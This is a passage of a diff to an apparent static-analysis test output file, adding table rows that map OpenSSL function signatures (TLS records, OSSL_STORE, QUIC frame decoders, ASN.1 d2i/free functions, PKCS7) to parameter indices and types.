*,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 1 | uint8_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 3 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 4 | size_t * | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 1 | uint8_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 2 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 3 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 4 | size_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 1 | void ** | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 2 | int * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 3 | uint8_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 4 | const unsigned char ** | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 5 | size_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 6 | uint16_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 7 | unsigned char * | +| (OSSL_ROLE_SPEC_CERT_ID *) | | OSSL_ROLE_SPEC_CERT_ID_free | 0 | OSSL_ROLE_SPEC_CERT_ID * | +| (OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID | 0 | OSSL_ROLE_SPEC_CERT_ID ** | +| (OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID | 1 | const unsigned char ** | +| (OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID | 2 | long | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX *) | | OSSL_ROLE_SPEC_CERT_ID_SYNTAX_free | 0 | OSSL_ROLE_SPEC_CERT_ID_SYNTAX * | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 0 | OSSL_ROLE_SPEC_CERT_ID_SYNTAX ** | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 1 | const unsigned char ** | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 2 | long | +| (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 0 | OSSL_SELF_TEST * | +| (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 1 | const char * | +| (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 2 | const char * | +| (OSSL_SELF_TEST *,unsigned char *) | | OSSL_SELF_TEST_oncorrupt_byte | 0 | OSSL_SELF_TEST * | +| (OSSL_SELF_TEST *,unsigned char *) | | OSSL_SELF_TEST_oncorrupt_byte | 1 | unsigned char * | +| (OSSL_STATM *,OSSL_RTT_INFO *) | | ossl_statm_get_rtt_info | 0 | OSSL_STATM * | +| (OSSL_STATM *,OSSL_RTT_INFO *) | | ossl_statm_get_rtt_info | 1 | OSSL_RTT_INFO * | +| (OSSL_STATM *,OSSL_TIME,OSSL_TIME) | | ossl_statm_update_rtt | 0 | OSSL_STATM * | +| (OSSL_STATM *,OSSL_TIME,OSSL_TIME) | | ossl_statm_update_rtt | 1 | OSSL_TIME | +| (OSSL_STATM *,OSSL_TIME,OSSL_TIME) | | ossl_statm_update_rtt | 2 | OSSL_TIME | +| (OSSL_STORE_CTX *) | | OSSL_STORE_error | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *) | | OSSL_STORE_load | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | int | +| (OSSL_STORE_CTX *,int,va_list) | | OSSL_STORE_vctrl | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *,int,va_list) | | OSSL_STORE_vctrl | 1 | int | +| (OSSL_STORE_CTX *,int,va_list) | | OSSL_STORE_vctrl | 2 | va_list | +| (OSSL_STORE_LOADER *,OSSL_STORE_attach_fn) | | OSSL_STORE_LOADER_set_attach | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_attach_fn) | | OSSL_STORE_LOADER_set_attach | 1 | OSSL_STORE_attach_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_close_fn) | | OSSL_STORE_LOADER_set_close | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_close_fn) | | OSSL_STORE_LOADER_set_close | 1 | OSSL_STORE_close_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn) | | OSSL_STORE_LOADER_set_ctrl | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn) | | OSSL_STORE_LOADER_set_ctrl | 1 | OSSL_STORE_ctrl_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_eof_fn) | | OSSL_STORE_LOADER_set_eof | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_eof_fn) | | OSSL_STORE_LOADER_set_eof | 1 | OSSL_STORE_eof_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_error_fn) | | OSSL_STORE_LOADER_set_error | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_error_fn) | | OSSL_STORE_LOADER_set_error | 1 | OSSL_STORE_error_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_expect_fn) | | OSSL_STORE_LOADER_set_expect | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_expect_fn) | | OSSL_STORE_LOADER_set_expect | 1 | OSSL_STORE_expect_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_find_fn) | | OSSL_STORE_LOADER_set_find | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_find_fn) | | OSSL_STORE_LOADER_set_find | 1 | OSSL_STORE_find_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_load_fn) | | OSSL_STORE_LOADER_set_load | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_load_fn) | | OSSL_STORE_LOADER_set_load | 1 | OSSL_STORE_load_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn) | | OSSL_STORE_LOADER_set_open_ex | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn) | | OSSL_STORE_LOADER_set_open_ex | 1 | OSSL_STORE_open_ex_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_fn) | | OSSL_STORE_LOADER_set_open | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_fn) | | OSSL_STORE_LOADER_set_open | 1 | OSSL_STORE_open_fn | +| (OSSL_TARGET *) | | OSSL_TARGET_free | 0 | OSSL_TARGET * | +| (OSSL_TARGET **,const unsigned char **,long) | | d2i_OSSL_TARGET | 0 | OSSL_TARGET ** | +| (OSSL_TARGET **,const unsigned char **,long) | | d2i_OSSL_TARGET | 1 | const unsigned char ** | +| (OSSL_TARGET **,const unsigned char **,long) | | d2i_OSSL_TARGET | 2 | long | +| (OSSL_TARGETING_INFORMATION *) | | OSSL_TARGETING_INFORMATION_free | 0 | OSSL_TARGETING_INFORMATION * | +| (OSSL_TARGETING_INFORMATION **,const unsigned char **,long) | | d2i_OSSL_TARGETING_INFORMATION | 0 | OSSL_TARGETING_INFORMATION ** | +| (OSSL_TARGETING_INFORMATION **,const unsigned char **,long) | | d2i_OSSL_TARGETING_INFORMATION | 1 | const unsigned char ** | +| (OSSL_TARGETING_INFORMATION **,const unsigned char **,long) | | d2i_OSSL_TARGETING_INFORMATION | 2 | long | +| (OSSL_TARGETS *) | | OSSL_TARGETS_free | 0 | OSSL_TARGETS * | +| (OSSL_TARGETS **,const unsigned char **,long) | | d2i_OSSL_TARGETS | 0 | OSSL_TARGETS ** | +| (OSSL_TARGETS **,const unsigned char **,long) | | d2i_OSSL_TARGETS | 1 | const unsigned char ** | +| (OSSL_TARGETS **,const unsigned char **,long) | | d2i_OSSL_TARGETS | 2 | long | +| (OSSL_TIME_PERIOD *) | | OSSL_TIME_PERIOD_free | 0 | OSSL_TIME_PERIOD * | +| (OSSL_TIME_PERIOD **,const unsigned char **,long) | | d2i_OSSL_TIME_PERIOD | 0 | OSSL_TIME_PERIOD ** | +| (OSSL_TIME_PERIOD **,const unsigned char **,long) | | d2i_OSSL_TIME_PERIOD | 1 | const unsigned char ** | +| (OSSL_TIME_PERIOD **,const unsigned char **,long) | | d2i_OSSL_TIME_PERIOD | 2 | long | +| (OSSL_TIME_SPEC *) | | OSSL_TIME_SPEC_free | 0 | OSSL_TIME_SPEC * | +| (OSSL_TIME_SPEC **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC | 0 | OSSL_TIME_SPEC ** | +| (OSSL_TIME_SPEC **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC | 2 | long | +| (OSSL_TIME_SPEC_ABSOLUTE *) | | OSSL_TIME_SPEC_ABSOLUTE_free | 0 | OSSL_TIME_SPEC_ABSOLUTE * | +| (OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_ABSOLUTE | 0 | OSSL_TIME_SPEC_ABSOLUTE ** | +| (OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_ABSOLUTE | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_ABSOLUTE | 2 | long | +| (OSSL_TIME_SPEC_DAY *) | | OSSL_TIME_SPEC_DAY_free | 0 | OSSL_TIME_SPEC_DAY * | +| (OSSL_TIME_SPEC_DAY **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_DAY | 0 | OSSL_TIME_SPEC_DAY ** | +| (OSSL_TIME_SPEC_DAY **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_DAY | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_DAY **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_DAY | 2 | long | +| (OSSL_TIME_SPEC_MONTH *) | | OSSL_TIME_SPEC_MONTH_free | 0 | OSSL_TIME_SPEC_MONTH * | +| (OSSL_TIME_SPEC_MONTH **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_MONTH | 0 | OSSL_TIME_SPEC_MONTH ** | +| (OSSL_TIME_SPEC_MONTH **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_MONTH | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_MONTH **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_MONTH | 2 | long | +| (OSSL_TIME_SPEC_TIME *) | | OSSL_TIME_SPEC_TIME_free | 0 | OSSL_TIME_SPEC_TIME * | +| (OSSL_TIME_SPEC_TIME **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_TIME | 0 | OSSL_TIME_SPEC_TIME ** | +| (OSSL_TIME_SPEC_TIME **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_TIME | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_TIME **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_TIME | 2 | long | +| (OSSL_TIME_SPEC_WEEKS *) | | OSSL_TIME_SPEC_WEEKS_free | 0 | OSSL_TIME_SPEC_WEEKS * | +| (OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_WEEKS | 0 | OSSL_TIME_SPEC_WEEKS ** | +| (OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_WEEKS | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_WEEKS | 2 | long | +| (OSSL_TIME_SPEC_X_DAY_OF *) | | OSSL_TIME_SPEC_X_DAY_OF_free | 0 | OSSL_TIME_SPEC_X_DAY_OF * | +| (OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_X_DAY_OF | 0 | OSSL_TIME_SPEC_X_DAY_OF ** | +| (OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_X_DAY_OF | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_X_DAY_OF | 2 | long | +| (OSSL_USER_NOTICE_SYNTAX *) | | OSSL_USER_NOTICE_SYNTAX_free | 0 | OSSL_USER_NOTICE_SYNTAX * | +| (OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_USER_NOTICE_SYNTAX | 0 | OSSL_USER_NOTICE_SYNTAX ** | +| (OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_USER_NOTICE_SYNTAX | 1 | const unsigned char ** | +| (OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_USER_NOTICE_SYNTAX | 2 | long | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 0 | OSSL_i2d_of_void_ctx * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 1 | void * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 2 | const char * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 3 | BIO * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 4 | const void * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 5 | const EVP_CIPHER * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 6 | const unsigned char * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 7 | int | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 8 | pem_password_cb * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 9 | void * | +| (OTHERNAME *) | | OTHERNAME_free | 0 | OTHERNAME * | +| (OTHERNAME **,const unsigned char **,long) | | d2i_OTHERNAME | 0 | OTHERNAME ** | +| (OTHERNAME **,const unsigned char **,long) | | d2i_OTHERNAME | 1 | const unsigned char ** | +| (OTHERNAME **,const unsigned char **,long) | | d2i_OTHERNAME | 2 | long | +| (OTHERNAME *,OTHERNAME *) | | OTHERNAME_cmp | 0 | OTHERNAME * | +| (OTHERNAME *,OTHERNAME *) | | OTHERNAME_cmp | 1 | OTHERNAME * | +| (PACKET *) | | ossl_quic_wire_decode_padding | 0 | PACKET * | +| (PACKET *,BIGNUM *) | | ossl_decode_der_integer | 0 | PACKET * | +| (PACKET *,BIGNUM *) | | ossl_decode_der_integer | 1 | BIGNUM * | +| (PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_decode_frame_conn_close | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_decode_frame_conn_close | 1 | OSSL_QUIC_FRAME_CONN_CLOSE * | +| (PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_decode_frame_new_conn_id | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_decode_frame_new_conn_id | 1 | OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *) | | ossl_quic_wire_decode_frame_reset_stream | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *) | | ossl_quic_wire_decode_frame_reset_stream | 1 | OSSL_QUIC_FRAME_RESET_STREAM * | +| (PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *) | | ossl_quic_wire_decode_frame_stop_sending | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *) | | ossl_quic_wire_decode_frame_stop_sending | 1 | OSSL_QUIC_FRAME_STOP_SENDING * | +| (PACKET *,PACKET *) | | ossl_decode_der_length | 0 | PACKET * | +| (PACKET *,PACKET *) | | ossl_decode_der_length | 1 | PACKET * | +| (PACKET *,QUIC_PREFERRED_ADDR *) | | ossl_quic_wire_decode_transport_param_preferred_addr | 0 | PACKET * | +| (PACKET *,QUIC_PREFERRED_ADDR *) | | ossl_quic_wire_decode_transport_param_preferred_addr | 1 | QUIC_PREFERRED_ADDR * | +| (PACKET *,const unsigned char **,size_t *) | | ossl_quic_wire_decode_frame_new_token | 0 | PACKET * | +| (PACKET *,const unsigned char **,size_t *) | | ossl_quic_wire_decode_frame_new_token | 1 | const unsigned char ** | +| (PACKET *,const unsigned char **,size_t *) | | ossl_quic_wire_decode_frame_new_token | 2 | size_t * | +| (PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_decode_frame_crypto | 0 | PACKET * | +| (PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_decode_frame_crypto | 1 | int | +| (PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_decode_frame_crypto | 2 | OSSL_QUIC_FRAME_CRYPTO * | +| (PACKET *,int,OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_decode_frame_stream | 0 | PACKET * | +| (PACKET *,int,OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_decode_frame_stream | 1 | int | +| (PACKET *,int,OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_decode_frame_stream | 2 | OSSL_QUIC_FRAME_STREAM * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 0 | PACKET * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 1 | size_t | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 2 | int | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 3 | int | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 4 | QUIC_PKT_HDR * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 5 | QUIC_PKT_HDR_PTRS * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 6 | uint64_t * | +| (PACKET *,uint16_t **,size_t *) | | tls1_save_u16 | 0 | PACKET * | +| (PACKET *,uint16_t **,size_t *) | | tls1_save_u16 | 1 | uint16_t ** | +| (PACKET *,uint16_t **,size_t *) | | tls1_save_u16 | 2 | size_t * | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 0 | PACKET * | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 1 | uint32_t | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 2 | OSSL_QUIC_FRAME_ACK * | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 3 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_data_blocked | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_data_blocked | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_data | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_data | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_streams | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_max_streams | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_challenge | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_challenge | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_response | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_path_response | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_retire_conn_id | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_retire_conn_id | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_streams_blocked | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_decode_frame_streams_blocked | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_peek_transport_param | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_peek_transport_param | 1 | uint64_t * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_skip_frame_header | 0 | PACKET * | +| (PACKET *,uint64_t *) | | ossl_quic_wire_skip_frame_header | 1 | uint64_t * | +| (PACKET *,uint64_t *,QUIC_CONN_ID *) | | ossl_quic_wire_decode_transport_param_cid | 0 | PACKET * | +| (PACKET *,uint64_t *,QUIC_CONN_ID *) | | ossl_quic_wire_decode_transport_param_cid | 1 | uint64_t * | +| (PACKET *,uint64_t *,QUIC_CONN_ID *) | | ossl_quic_wire_decode_transport_param_cid | 2 | QUIC_CONN_ID * | +| (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 0 | PACKET * | +| (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 1 | uint64_t * | +| (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 2 | int * | +| (PACKET *,uint64_t *,size_t *) | | ossl_quic_wire_decode_transport_param_bytes | 0 | PACKET * | +| (PACKET *,uint64_t *,size_t *) | | ossl_quic_wire_decode_transport_param_bytes | 1 | uint64_t * | +| (PACKET *,uint64_t *,size_t *) | | ossl_quic_wire_decode_transport_param_bytes | 2 | size_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_max_stream_data | 0 | PACKET * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_max_stream_data | 1 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_max_stream_data | 2 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_stream_data_blocked | 0 | PACKET * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_stream_data_blocked | 1 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_frame_stream_data_blocked | 2 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_transport_param_int | 0 | PACKET * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_transport_param_int | 1 | uint64_t * | +| (PACKET *,uint64_t *,uint64_t *) | | ossl_quic_wire_decode_transport_param_int | 2 | uint64_t * | +| (PBE2PARAM *) | | PBE2PARAM_free | 0 | PBE2PARAM * | +| (PBE2PARAM **,const unsigned char **,long) | | d2i_PBE2PARAM | 0 | PBE2PARAM ** | +| (PBE2PARAM **,const unsigned char **,long) | | d2i_PBE2PARAM | 1 | const unsigned char ** | +| (PBE2PARAM **,const unsigned char **,long) | | d2i_PBE2PARAM | 2 | long | +| (PBEPARAM *) | | PBEPARAM_free | 0 | PBEPARAM * | +| (PBEPARAM **,const unsigned char **,long) | | d2i_PBEPARAM | 0 | PBEPARAM ** | +| (PBEPARAM **,const unsigned char **,long) | | d2i_PBEPARAM | 1 | const unsigned char ** | +| (PBEPARAM **,const unsigned char **,long) | | d2i_PBEPARAM | 2 | long | +| (PBKDF2PARAM *) | | PBKDF2PARAM_free | 0 | PBKDF2PARAM * | +| (PBKDF2PARAM **,const unsigned char **,long) | | d2i_PBKDF2PARAM | 0 | PBKDF2PARAM ** | +| (PBKDF2PARAM **,const unsigned char **,long) | | d2i_PBKDF2PARAM | 1 | const unsigned char ** | +| (PBKDF2PARAM **,const unsigned char **,long) | | d2i_PBKDF2PARAM | 2 | long | +| (PBMAC1PARAM *) | | PBMAC1PARAM_free | 0 | PBMAC1PARAM * | +| (PBMAC1PARAM **,const unsigned char **,long) | | d2i_PBMAC1PARAM | 0 | PBMAC1PARAM ** | +| (PBMAC1PARAM **,const unsigned char **,long) | | d2i_PBMAC1PARAM | 1 | const unsigned char ** | +| (PBMAC1PARAM **,const unsigned char **,long) | | d2i_PBMAC1PARAM | 2 | long | | (PCXSTR) | | operator+= | 0 | PCXSTR | | (PCXSTR) | CSimpleStringT | operator+= | 0 | PCXSTR | | (PCXSTR) | CStringT | operator= | 0 | PCXSTR | @@ -702,6 +18429,2715 @@ getSignatureParameterName | (PCXSTR,const CStringT &) | | operator+ | 1 | const CStringT & | | (PCYSTR) | | operator+= | 0 | PCYSTR | | (PCYSTR) | CStringT | operator= | 0 | PCYSTR | +| (PKCS7 *) | | PKCS7_free | 0 | PKCS7 * | +| (PKCS7 *) | | PKCS7_get_octet_string | 0 | PKCS7 * | +| (PKCS7 **,const unsigned char **,long) | | d2i_PKCS7 | 0 | PKCS7 ** | +| (PKCS7 **,const unsigned char **,long) | | d2i_PKCS7 | 1 | const unsigned char ** | +| (PKCS7 **,const unsigned char **,long) | | d2i_PKCS7 | 2 | long | +| (PKCS7 *,BIO *) | | PKCS7_dataInit | 0 | PKCS7 * | +| (PKCS7 *,BIO *) | | PKCS7_dataInit | 1 | BIO * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 0 | PKCS7 * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 1 | EVP_PKEY * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 2 | BIO * | +| (PKCS7 *,EVP_PKEY *,BIO *,X509 *) | | PKCS7_dataDecode | 3 | X509 * | +| (PKCS7 *,OSSL_LIB_CTX *) | | ossl_pkcs7_set0_libctx | 0 | PKCS7 * | +| (PKCS7 *,OSSL_LIB_CTX *) | | ossl_pkcs7_set0_libctx | 1 | OSSL_LIB_CTX * | +| 